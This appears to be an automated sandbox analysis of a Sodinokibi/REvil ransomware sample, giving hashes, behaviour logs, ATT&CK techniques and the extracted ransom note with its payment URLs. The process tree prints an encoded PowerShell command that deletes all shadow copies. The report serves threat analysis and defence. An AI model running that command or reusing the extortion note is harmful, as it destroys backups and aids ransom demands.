sodinokibi | d976a41f366fb1e3a0a5d15878d84e24704949973d9e0ccead9a779dee03ef0f

General

Target

e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
Size

165KB
MD5

e2708d3c57b562b01da42f9e7549781f
SHA1

3d82951dbfab5629187b26ecb7388b7a05597f67
SHA256

d976a41f366fb1e3a0a5d15878d84e24704949973d9e0ccead9a779dee03ef0f
SHA512

c483968f981e64021025bf4f42424df3cfb88a55bd4cb7f2aa904515eccb85e239c3d44812b28d5b617b6b8476dcc3f4258465a211ae6e6725adbf1850234619
SSDEEP

3072:eCEq0R0nZ5ys5n4Y9doh7O79siUs/NaxohzDKMlt:lw02sJPi7O93N3FHlt

Score

10^/10

sodinokibi discovery ransomware

Malware Config

Extracted

Path

C:\Users\7q34gu5t-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. CDHFUND. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension 7q34gu5t. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/FFE4F6EDD585EA0D 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/FFE4F6EDD585EA0D Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: avbAV2JzqlDM9E7fVE7ktK4TAv6pFqHGC7aNF9rt5QkZudJ6j6gpUtp4sGjQFhO6 NyjZx8GCeg07cKQVKzvEieyRloYjV1rPB6iJFoshXG+iVR4BqaFYkYUOUvMmypus ptGpvdo0QNp0W9CzZ6QQWbDKsaKz7bD1ydilkwCdjn4eEKjxUTal61s+4r+6k8mQ WonMZd53GVczjZriNZjGjweIA6yijAiz5FniSFoGRwF26tfKv4j/PlwoMzBeIkfy JE4ztDS4HiNzU1Jn+rpVyg3yPEnt4IcLnHRGIcufK2XsWqAc1TtKgSBudDGTghIp nYXqI8mo4H8y1Y7d3fkozqlAyGeElwEqv1NWqVZJvM7G1sSDxboRvVOKNsCSInen V64fy3cMBJpmGxke8Og3tBqoCTIR2nWYRPfEX7/qbEFrJeiAfJGWyxITlhJpmFsX WxOcehbyFa23B0dLlMeTFdKpoLh7/VZGyg1NE3KTKCAGqy98Bxjumns77qEDvWGm CbT19yaf75RQ0wbUtGNsfCJVmyWX1v6nR54q6n7Y60s6VO27pN+3kA09p+Z3K5yP iTKH5lzchBjhC4+s6wvQ+Kk5RuLBBiv4+jfM2V7L8gpiFXyRnlB33AjVXd/MrFI8 N4pqQcL0lhJ87hS+btJuRas2com8qDB/NbfQRIVEs8No/VBfu349cHtm6X8eEVAG zBnNh6Hpwx6HV0P84AmaRR+i2S0lk5xRYJgdTZsUw88+ilECq32pRRxxyGdLPWn0 zuc+z/cNvmkvZzXrm0q62YFSAlT6oolAiE7tr74cT//PYNYEAlNtTIRw5SIAAYec no22P+mK5ZMtX6ZqUXVX+dgudzCY/nXOn9LG4/3MHuMn1Wu24e97cVenWKpoM7lc Qn7F3mu47+3o4dQJjSuL2wGRygtl1I2GRpcGln6bchDgYWEyH7CdLfqFgItWGmht 2hlfT51vxLEu/OkuKkhivKKuIoV9IHlxhj9Vh382aXZ6225Wf8bOSveip3IXZPHe nGMlckRxg4hT4YFwSR8g0PmUs6pxjetI4YMCmNeYzj6CHOyD0txPVeTBvA9eQE+R iyqkddo8LyWHE6kkFR2g79OMsKfTyMRjsZyZPzUNY6cic4RukO/E6L+4YGGhnsLj p5Jp6E7MUOWiBvBGPDffdjkPSpdvBkfpaKMuJ9SFyJMcA+poWP1dSf/ZFVEkalaM 3zj+RwIApV8PUg8LdKDWl/k0EVcTNg== Extension name: 7q34gu5t ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/FFE4F6EDD585EA0D

http://decryptor.top/FFE4F6EDD585EA0D

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\H:	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened (read-only)	\??\I:	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened (read-only)	\??\Z:	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened (read-only)	\??\G:	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened (read-only)	\??\S:	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened (read-only)	\??\D:	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened (read-only)	\??\Q:	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened (read-only)	\??\N:	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened (read-only)	\??\R:	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened (read-only)	\??\M:	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened (read-only)	\??\T:	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened (read-only)	\??\E:	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened (read-only)	\??\P:	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened (read-only)	\??\V:	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened (read-only)	\??\B:	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened (read-only)	\??\K:	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened (read-only)	\??\F:	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened (read-only)	\??\A:	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened (read-only)	\??\O:	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened (read-only)	\??\U:	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened (read-only)	\??\W:	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened (read-only)	\??\Y:	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened (read-only)	\??\J:	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened (read-only)	\??\X:	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened (read-only)	\??\L:	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\l71tj6b2p.bmp"	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe

Drops file in Program Files directory 28 IoCs

description	ioc	Process
File opened for modification	\??\c:\program files\NewFormat.mp4	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened for modification	\??\c:\program files\OpenRead.rm	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File created	\??\c:\program files (x86)\7q34gu5t-readme.txt	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ImportCompare.ttc	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UndoReceive.xls	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UpdateDismount.txt	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UpdateMount.mht	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened for modification	\??\c:\program files\RepairFormat.rar	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UnpublishEnter.xhtml	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened for modification	\??\c:\program files\JoinPublish.php	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened for modification	\??\c:\program files\RedoResolve.wvx	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened for modification	\??\c:\program files\RequestPush.jpg	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened for modification	\??\c:\program files\RestoreRequest.m1v	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ResumeAdd.csv	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened for modification	\??\c:\program files\BackupRepair.eps	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened for modification	\??\c:\program files\BlockShow.xltm	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened for modification	\??\c:\program files\CheckpointUninstall.au3	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened for modification	\??\c:\program files\HideLock.001	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File created	\??\c:\program files\7q34gu5t-readme.txt	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened for modification	\??\c:\program files\JoinRestore.AAC	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened for modification	\??\c:\program files\PublishCopy.M2TS	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ResolveRequest.DVR-MS	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SendHide.ini	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened for modification	\??\c:\program files\CheckpointEdit.pot	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened for modification	\??\c:\program files\FormatConvertFrom.ini	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened for modification	\??\c:\program files\StartConnect.contact	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SwitchOptimize.vb	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
File opened for modification	\??\c:\program files\TestUninstall.jpe	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2028	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
2028	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
4312	powershell.exe
4312	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4312	powershell.exe
Token: SeBackupPrivilege	3472	vssvc.exe
Token: SeRestorePrivilege	3472	vssvc.exe
Token: SeAuditPrivilege	3472	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2028 wrote to memory of 4312	2028	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe	89
PID 2028 wrote to memory of 4312	2028	e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe	89

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\e2708d3c57b562b01da42f9e7549781f_JaffaCakes118.exe"
1⤵
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4312

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3004

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3472

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\7q34gu5t-readme.txt

Filesize
6KB

MD5
dd60803c28034b058d1ae78a49be52ca

SHA1
9bda2b876057835fcdae7a8c55cf9aa8bb0b7ec3

SHA256
3f84cf99a87531b42e574bd48ca8a4a384d9c23e99a43521418dfb7ddb006149

SHA512
3fd289db5c2840b7dd0150692110a699c669705f315b95ce2ac87ff9c317f7d0c527880e5e1ae88358acba426b4321c1ed1ef7869708d92667ff4e2b22d571c4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_spi31c25.gao.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4312-0-0x00007FFEFC2B3000-0x00007FFEFC2B5000-memory.dmp

Filesize
8KB

Download
memory/4312-1-0x000001D832270000-0x000001D832292000-memory.dmp

Filesize
136KB

Download
memory/4312-11-0x00007FFEFC2B0000-0x00007FFEFCD71000-memory.dmp

Filesize
10.8MB

Download
memory/4312-12-0x00007FFEFC2B0000-0x00007FFEFCD71000-memory.dmp

Filesize
10.8MB

Download
memory/4312-15-0x00007FFEFC2B0000-0x00007FFEFCD71000-memory.dmp

Filesize
10.8MB

Download

Resubmissions

Analysis

Sharing